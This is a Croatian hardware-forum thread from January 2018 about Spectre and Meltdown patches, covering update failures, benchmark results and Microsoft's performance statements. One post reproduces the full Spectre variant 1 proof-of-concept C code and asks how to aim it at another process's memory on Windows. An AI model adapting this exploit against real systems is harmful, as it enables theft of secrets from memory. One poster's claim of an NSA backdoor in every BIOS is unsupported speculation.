PC Ekspert Forum

PC Ekspert Forum (http://forum.pcekspert.com/index.php)
-   Intel (http://forum.pcekspert.com/forumdisplay.php?f=8)
-   -   Rasprava i komentari o "Spectre" i "Meltdown" pošastima (http://forum.pcekspert.com/showthread.php?t=290321)

Disco 08.01.2018. 14:18

Citiraj:

Autor Sinac (Post 3147771)
A zato je moj punac ostao bez Windowsa. I još ja pogubio jučer 2 sata pokušavajući osposobiti čistu instalaciju na njegovom starom laptopu. :fuming:

Ima AMD ili?
Jer sam ja vidio da i Intelove masine imaju problema, zato sam i iskljucio update trenutno.

geronimo_2 08.01.2018. 14:20

FYI:
"Waterfox has updated to 56.0.2. Had to re-enable/check 'extensions.e10sBlockedByAddon' and 'extensions.e10sMultiBlockedByAddons', which enabled multi-process again, and hoped that would also help with the ugly slow page loads ... it doesn't, so that must be the meltdown/spectre patch (same one as FF) that's been included. Is this a good way to guage how slow overall system would be when patched? If so, am really concerned."

source:
https://forums.linuxmint.com/viewtop...10866#p1410866

Dottore 08.01.2018. 14:49

Citiraj:

Autor Disco (Post 3147796)
Ima AMD ili?
Jer sam ja vidio da i Intelove masine imaju problema, zato sam i iskljucio update trenutno.

Nemam problema sa dva PC i sedam laptopa. Sve su up to date.

Sinac 08.01.2018. 15:16

Citiraj:

Autor Disco (Post 3147796)
Ima AMD ili?
Jer sam ja vidio da i Intelove masine imaju problema, zato sam i iskljucio update trenutno.

Ima stari Athlon. Sve druge mašine s Intelovim procesorima uredno su prožvakale update, bez ikakvih problema.

Brzi Picek 08.01.2018. 16:27

napisa sam prekjuče da mi je rušilo Athlone iz neobjašnjivog razloga
sada imam i priliku viditi da je ipak to do update-a
meni je isključen i čekam kaj bu se dogodilo

jel moguče da če operacija "spašavanja nestašnog Intela" završiti tako da če Athloni naj.bati ?
ovo postaje apsurd, što sada opče ljudima reči da urade ?

Sinac 08.01.2018. 18:02

Neka me netko ispravi ali koliko sam skužio problematiku, mi se zapravo tu grčimo pun q i 800 da bi skinuli lokalno sve silne zakrpe i pokrpali si Windowse i Linuxe a zapravo daljinsko spajanje tipa web-browser i utipkavanje passworda na nekom sajtu i dalje ostaje ranjivo? Ono, tip ne instalira nikakve zakrpe na web-serveru i može čačkat po podacima kao i do sada?

fAg 08.01.2018. 18:53

Ja zakrpe nisam uopće vidio,ništa ne dobivam,imam Windows 10 Home

The Exiled 08.01.2018. 18:57

Citiraj:

Autor Sinac (Post 3147882)
Neka me netko ispravi ali koliko sam skužio problematiku, mi se zapravo tu grčimo pun q i 800 da bi skinuli lokalno sve silne zakrpe i pokrpali si Windowse i Linuxe a zapravo daljinsko spajanje tipa web-browser i utipkavanje passworda na nekom sajtu i dalje ostaje ranjivo? Ono, tip ne instalira nikakve zakrpe na web-serveru i može čačkat po podacima kao i do sada?

Da, ali taman da svi istovremeno instaliraju sve zakrpe na svim zahvaćenim mašinama diljem svijeta, to i dalje ne uklanja probleme koji Meltdown + Spectre propusti donose.

Ove zakrpe samo umanjuju potencijalno iskorištavanje spomenutih propusta, dok se ne pojave novi procesori bazirani na poboljšani arhitekturama.
Citiraj:

Autor fAg (Post 3147908)
Ja zakrpe nisam uopće vidio,ništa ne dobivam,imam Windows 10 Home

Instalirale su se automatski, jer na Windows 10 Home ionako ne možeš birati da li hoćeš zakrpe.

fAg 08.01.2018. 19:01

Citiraj:

Autor The Exiled (Post 3147910)
Da, ali taman da svi istovremeno instaliraju sve zakrpe na svim zahvaćenim mašinama diljem svijeta, to i dalje ne uklanja probleme koji Meltdown + Spectre propusti donose.

Ove zakrpe samo umanjuju potencijalno iskorištavanje spomenutih propusta, dok se ne pojave novi procesori bazirani na poboljšani arhitekturama.

Instalirale su se automatski, jer na Windows 10 Home ionako ne možeš birati da li hoćeš zakrpe.

Hvala ti intel na svemu.Ionako je svejedno amd ili intel,oba su u usa.
Kako misliš automatski? Već sam ih dobio a da neznam?:stoopid:

The Exiled 08.01.2018. 19:09

Zakrpe za popularne verzije Windows 10 sustava su izašle još prije par dana. Ukoliko ih dosad nisi pokupil putem Windows Update servisa, pričekaj još dan-dva, pošto je sutra Patch Tuesday, ali generalno zakrpe su puštene.:)

fAg 08.01.2018. 19:18

Citiraj:

Autor The Exiled (Post 3147919)
Zakrpe za popularne verzije Windows 10 sustava su izašle još prije par dana. Ukoliko ih dosad nisi pokupil putem Windows Update servisa, pričekaj još dan-dva, pošto je sutra Patch Tuesday, ali generalno zakrpe su puštene.:)

Zadnji update-i su mi na 21.12. i jedan na 22.12.,kasnije ništa prema povijesti.

Op,trenutno nešto dobivam na windows update.
KB4056892 dobivam,koje smeće,nikako da se downloada i instalira.To diže OS build na 16299.192
Prošlo sve ok ipak,Shut Up ostao isti kako sam i imao namješteno,nije ništa vratilo natrag.

geronimo_2 08.01.2018. 19:56

https://www.computerworld.com/articl...e-screens.html

Disco 09.01.2018. 06:25

Citiraj:

Autor geronimo_2 (Post 3147939)

Pa kao sto sam vec napisao, ja cu se strpit dok to ne srede i bok.
Al vidim i da je nvidia izdala drivere koji su pacirani?!
WTF, pa sta se svaki komad softvera mora pecirat?

Brzi Picek 09.01.2018. 08:09

Citiraj:

Autor Disco (Post 3148097)
Pa kao sto sam vec napisao, ja cu se strpit dok to ne srede i bok.
Al vidim i da je nvidia izdala drivere koji su pacirani?!
WTF, pa sta se svaki komad softvera mora pecirat?


Valjda nebu i NV grafe usporili 30% ?
Pa onda bi bile iste kao i AMD po snazi u odnosu na Stream procesore , jezik pregrizao što to pišem :D

Brko 09.01.2018. 08:15

Ne budu. Već imaš graf sa 20+ igara. Sve je u 2-3% plus/minus. Dakle, nevidljivo 99% normalne populacije :D

Sent from Mobara

Sinac 09.01.2018. 09:21

Citiraj:

Autor The Exiled (Post 3147910)
Da, ali taman da svi istovremeno instaliraju sve zakrpe na svim zahvaćenim mašinama diljem svijeta, to i dalje ne uklanja probleme koji Meltdown + Spectre propusti donose.

Ove zakrpe samo umanjuju potencijalno iskorištavanje spomenutih propusta, dok se ne pojave novi procesori bazirani na poboljšani arhitekturama.

Instalirale su se automatski, jer na Windows 10 Home ionako ne možeš birati da li hoćeš zakrpe.

To konkretno znači da neće biti problem riješen još idućih par godina. Nitko neće nekog Kineza natjerat da mijenja svoj web server ako može prčkati po podacima kako se njemu sprdne. On lijepo ugasi update i vozi stari CPU dok ne crkne a onda ćemo se čuditi kako neki Lee Moon zna naše ukucane passworde.
Ovo sve vodi do zaključka da ovi updateovi koriste koliko i kamilica za nesanicu, tješimo se da je bolje a zapravo neće biti bolje dok ne dođu novi procesori ali trebat će isto tako i Intel/AMD i Linux i Microsoft i Internet zajednica odredit da u upotrebi ostaju samo nezahvaćeni procesori i da svi serveri moraju imati određene zakrpe i da se kao web serveri smiju koristiti samo određene verzije OS-a. Jedino tako će se moći koliko-toliko spriječiti da ovi bugovi budu iskorišteni. Pri tome mislim na serverski dio, consumer korisnici ionako neće ove promjene niti osjetiti.

The Exiled 09.01.2018. 11:48

Citiraj:

Autor Sinac (Post 3148153)
To konkretno znači da neće biti problem riješen još idućih par godina.

Da, nažalost ispada tak. I taman kad se to posloži u vidu novog hardvera, stiže drugo veselje:), tak da nikad nije dosadno.

Microsoft je u međuvremenu obustavil distribuciju za (starije) AMD mašine, jer zakrpe rade više štete nego koristi.

syss 09.01.2018. 13:46

mi smo dobili uputu da ne brzamo sa zakrpom jer je bilo slučajeva rasturenih drivera po serverima i nekih sw-a koji su se crashali nakon zakrpe.

Sinac 09.01.2018. 13:52

Još ćemo mi žaliti za danima kad je DOS i 4dos bio na računalima zakon, ovo se danas svodi na pretakanje iz šupljeg u prazno a sve praćeno nekim ispadima. Mislim ono, Microsoft "daljinski" sronda računalo da bi se korisnik mogao veseliti iduća 2 dana da sve vrati kako je i bilo.

Bubba 09.01.2018. 15:18

Citiraj:

Autor The Exiled (Post 3148208)
Da, nažalost ispada tak. I taman kad se to posloži u vidu novog hardvera

Dobro, je li netko uspjesno (na stranu oni hakerski video uradci koji uopce ne znam sto rade na "glavnom" sajtu za ovo) iskoristio komad koda na dnu ovog dokumenta: https://spectreattack.com/spectre.pdf

Code:

// spectreExample.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
/* https://spectreattack.com/spectre.pdf */
#include
#include
#include
#ifdef _MSC_VER
#include /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include /* for rdtscp and clflush */
#endif

#ifdef _MSC_VER
#define _CRT_SECURE_NO_WARNINGS
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];

char *secret = "The Magic Words are Squeamish Ossifrage.";

uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */

void victim_function(size_t x) {
        if (x < array1_size) {
                temp &= array2[array1[x] * 512];
        }
}

/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */

/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
        static int results[256];
        int tries, i, j, k, mix_i;
        unsigned int junk = 0;
        size_t training_x, x;
        register uint64_t time1, time2;
        volatile uint8_t *addr;
        for (i = 0; i < 256; i++) {
                results[i] = 0;
        }
        for (tries = 999; tries > 0; tries--) {
                /* Flush array2[256*(0..255)] from cache */
                for (i = 0; i < 256; i++) {
                        _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
                }
                /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
                training_x = tries % array1_size;
                for (j = 29; j >= 0; j--) {
                        _mm_clflush(&array1_size);
                        for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */

                                                                                                          /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
                                                                                                          /* Avoid jumps in case those tip off the branch predictor */
                        x = ((j % 6) - 1) & ~0xFFFF;
                        /* Set x=FFF.FF0000 if j%6==0, else x=0 */
                        x = (x | (x >> 16));
                        /* Set x=-1 if j&6=0, else x=0 */
                        x = training_x ^ (x & (malicious_x ^ training_x));

                        /* Call the victim! */
                        victim_function(x);
                }

                /* Time reads. Order is lightly mixed up to prevent stride prediction */
                for (i = 0; i < 256; i++) {
                        mix_i = ((i * 167) + 13) & 255;
                        addr = &array2[mix_i * 512];
                        time1 = __rdtscp(&junk);        /* READ TIMER */
                        junk = *addr;                    /* MEMORY ACCESS TO TIME */
                        time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
                        if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) {
                                results[mix_i]++; /* cache hit - add +1 to score for this value */
                        }
                }

                /* Locate highest & second-highest results results tallies in j/k */
                j = k = -1;
                for (i = 0; i < 256; i++) {
                        if (j < 0 || results[i] >= results[j]) {
                                k = j;
                                j = i;
                        }
                        else if (k < 0 || results[i] >= results[k]) {
                                k = i;
                        }
                }
                if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) {
                        break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
                }
        }
        results[0] ^= junk; /* use junk so code above won’t get optimized out*/
        value[0] = (uint8_t)j;
        score[0] = results[j];
        value[1] = (uint8_t)k;
        score[1] = results[k];
}

int main(int argc, const char **argv) {
        size_t malicious_x = (size_t)(secret - (char*)array1); /* default for malicious_x */
        size_t i;
        int score[2], len = 40;
        uint8_t value[2];

        for (i = 0; i < sizeof(array2); i++) {
                array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
        }
        if (argc == 3) {
                sscanf(argv[1], "%p", (void**)(&malicious_x));
                malicious_x -= (size_t)array1;
                /* Convert input value into a pointer */
                sscanf(argv[2], "%d", &len);
        }

        printf("Reading %d bytes:\n", len);
        while (--len >= 0) {
                printf("Reading at malicious_x = %p... ", (void*)malicious_x);
                readMemoryByte(malicious_x++, value, score);
                printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
                printf("0x%02X=’%c’ score=%d    ", value[0],
                        (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
                if (score[1] > 0)
                        printf("(second best: 0x%02X score=%d)", value[1], score[1]);
                printf("\n");
        }
        return 0;
}

Code:

#include "stdafx.h"
#include
#include
#include

int main(void) {
        int *ptr;
       
        ptr = (int *)malloc(sizeof(int));
        ptr[0] = 80;        // 'P'
        ptr[1] = 67;        // 'C'
        ptr[2] = 69;        // 'E'

        printf("%d %d %d - %p", ptr[0], ptr[1], ptr[2], ptr);
        getchar();
        free(ptr);
        return (0);
}

ASLR ocito odradi svoje i eto, citam u prazno. Tko je uspio doci do konkretne adrese pointera tudjeg procesa (Win platforma) da nesto koristno procita?

https://i.imgur.com/x7OdKcs.png

Citiraj:

stiže drugo veselje:), tak da nikad nije dosadno.
Postoji posebna kategorija (losih) ljudi koja u 2018. koristi 32 bitni general purpose OS, tako da ih ne vidim bas medju zivima za 20 godina...

The Exiled 09.01.2018. 18:41

Citiraj:

Autor Bubba (Post 3148300)
Dobro, je li netko uspjesno (na stranu oni hakerski video uradci koji uopce ne znam sto rade na "glavnom" sajtu za ovo) iskoristio komad koda na dnu ovog dokumenta: https://spectreattack.com/spectre.pdf

ASLR ocito odradi svoje i eto, citam u prazno. Tko je uspio doci do konkretne adrese pointera tudjeg procesa (Win platforma) da nesto koristno procita?

Jesi provjeril da li ti kaj od ovih (1 - 2 - 3 - 4 - 5) inicijalnih proof-of-concept razglabanja pomaže u simuliranju na Windows platformi?
Citiraj:

Autor Bubba (Post 3148300)
Postoji posebna kategorija (losih) ljudi koja u 2018. koristi 32 bitni general purpose OS, tako da ih ne vidim bas medju zivima za 20 godina...

Ma jasno, ali ne bi bilo ništ čudno da se i oko toga (kad dođe vrijeme) digne graja.:)

ibme74 09.01.2018. 18:48

Citiraj:

Autor Manuel Calavera (Post 3147669)
Performanse padaju zbog toga što "branch prediction" postaje manje efektivan, pa malo pada IPC (rečeno u linkanom videu)

Što se gaminga tiče nema nikakvog pada u performansama :)

https://youtu.be/m50Orch4K24

nathan.fake 09.01.2018. 19:10

Citiraj:

Autor ibme74 (Post 3148399)
Što se gaminga tiče nema nikakvog pada u performansama :)

https://youtu.be/m50Orch4K24

(skoro) svi testovi dosad su bili samo Windows Update prije/poslje, bez BIOS update-a.

Jedini test koji sam naso da je Windows Update + BIOS je od Hardware Unboxed, s tim da je testiran Coffe Lake.
https://www.youtube.com/watch?v=JbhKUjPRk5Q

Iz Microsofta stizu ne tako optimisticne vijesti :/
https://cloudblogs.microsoft.com/mic...ndows-systems/

Citiraj:

In general, our experience is that Variant 1 and Variant 3 mitigations have minimal performance impact, while Variant 2 remediation, including OS and microcode, has a performance impact.

Here is the summary of what we have found so far:

- With Windows 10 on newer silicon (2016-era PCs with Skylake, Kabylake or newer CPU), benchmarks show single-digit slowdowns, but we don’t expect most users to notice a change because these percentages are reflected in milliseconds.
- With Windows 10 on older silicon (2015-era PCs with Haswell or older CPU), some benchmarks show more significant slowdowns, and we expect that some users will notice a decrease in system performance.
- With Windows 8 and Windows 7 on older silicon (2015-era PCs with Haswell or older CPU), we expect most users to notice a decrease in system performance.

Disco 09.01.2018. 20:29

Jeeej, ja sam bas hepi sta ce ova moja krama postat jos sporija :D

Dottore 09.01.2018. 21:55

Citiraj:

Autor Disco (Post 3148457)
Jeeej, ja sam bas hepi sta ce ova moja krama postat jos sporija :D

I moja, ali toliko mene ne dira. Radi 2-5 fps dići halabuku?
Ionako nisam ništa nadogradio i samo čekam pad cijene RAM. Nije mi ni hitno.

fAg 10.01.2018. 00:48

Testirano:
388,71 nvidia driveri + prije(bez) WIN meltdown/spectre update VS 390,65 + WIN update za meltdown/spectre

Unigine superpositin: 8358 VS 8353
SSD testovi: na svakom se osjeti pad performansi i to najviše prilikom zapisivanja,tu je pad osjetniji,prilikom čitanja je pad manji tj. to je više manje tu podjednako.
Uglavnom najviše pogađa ssd diskove i to zapisivanje.

ibme74 10.01.2018. 03:05

fAg i ja sam bacio test, za sada nema nikakvih razlika
https://youtu.be/m50Orch4K24

Manuel Calavera 10.01.2018. 07:43

Citiraj:

Autor nathan.fake (Post 3148414)
(skoro) svi testovi dosad su bili samo Windows Update prije/poslje, bez BIOS update-a.

Jedini test koji sam naso da je Windows Update + BIOS je od Hardware Unboxed, s tim da je testiran Coffe Lake.
https://www.youtube.com/watch?v=JbhKUjPRk5Q

Iz Microsofta stizu ne tako optimisticne vijesti :/
https://cloudblogs.microsoft.com/mic...ndows-systems/

Točno to. Samo je pitanje koliko će ploča odnosno intelovih platformi (socketa i čipseta) dobiti BIOS odnosno microcod update. I opet se ne može u potpunosti rješiti

Što se tiče sigurnosti odnosno "probijanja" uopće ne sumnjam da u svijetu gdje predpubertetski klinci probijaju banke, pentagon, PS4 i sl. da "troslovne" agencije koje imaju masu takvih odraslih mozgova i milijarde u svakom trenutku mogu doći do svega što imamo. Pa ako se ne varam zar nije potrvrđeno da je NSA instalirala u svaki BIOS špijunski softver pomoću kojega mogu pristupiti svemu i bilo kada. No u takvom svijetu živimo, tko nije terorist i sl. ne mora se previše brinuti.

ibme74 10.01.2018. 11:37

Citiraj:

Autor Manuel Calavera (Post 3148591)
Pa ako se ne varam zar nije potrvrđeno da je NSA instalirala u svaki BIOS špijunski softver pomoću kojega mogu pristupiti svemu i bilo kada. No u takvom svijetu živimo, tko nije terorist i sl. ne mora se previše brinuti.

Pa mozda je sva ova hajka izmisljena da bi malo azurirali svoj spijunski software :lol2:

Dottore 10.01.2018. 14:41

Sumnjam da će stariji čipseti dobiti update biosa. Trenutno aktualni x270 i nadalje.


Sva vremena su GMT +2. Sada je 22:00.

Powered by vBulletin®
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
© 1999-2023 PC Ekspert - Sva prava pridržana ISSN 1334-2940
Ad Management by RedTyger